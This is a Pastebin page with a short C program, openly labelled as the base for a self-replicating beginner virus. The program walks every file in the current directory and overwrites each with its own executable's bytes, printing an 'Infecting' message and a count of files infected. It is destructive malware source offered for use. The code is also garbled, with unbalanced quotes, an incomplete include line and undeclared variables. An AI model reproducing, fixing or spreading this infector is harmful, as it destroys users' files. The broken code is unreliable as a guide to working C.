Advertisement
pseudocreator

base for self replicating virus V/Advanced

May 13th, 2014
469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.89 KB | None | 0 0
  1. #include //(import necessary)
  2.   //samo-replicirajuca osnova za virus
  3.   //virus- lvl*beginner
  4.  
  5. int done, a=0;
  6. unsigned long x;
  7. char buff[2048];
  8. struct ffblk ffblk;
  9. clock_t st,end;
  10. void main()
  11.     {
  12.      st=clock();
  13.      clrscr();
  14.      done=findfirst(*.*,&ffblk,0);
  15.      while(!done)
  16.     {
  17.      virus=fopen(_argv[0],”rb”);
  18.      host=fopen(ffblk.ff_name,”rb+);
  19.      if(host==NULL) goto next;
  20.      x=89088;
  21.      printf(“Infecting %s\n”,ffblk.ff_name,a);
  22.      while(x>2048)
  23.     {
  24.      fread(buff,2048,1,virus);
  25.      fwrite(buff,2048,1,host);
  26.      x-=2048;
  27.   }
  28.    fread(buff,x,1,virus);
  29.    fwrite(buff,x,1,host);
  30.    a++;
  31.    next:
  32.         {
  33.          fcloseall();
  34.          done=findnext(&ffblk);
  35.         }
  36.    }
  37.     printf(“Ps3ucoCr, is Done! (Total Files Infected= %d),a);
  38.     end=clock();
  39.     printf(time taken=%f SEC\n”,
  40.     (end-st)/CLK_TCK);
  41.     getch();
  42. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement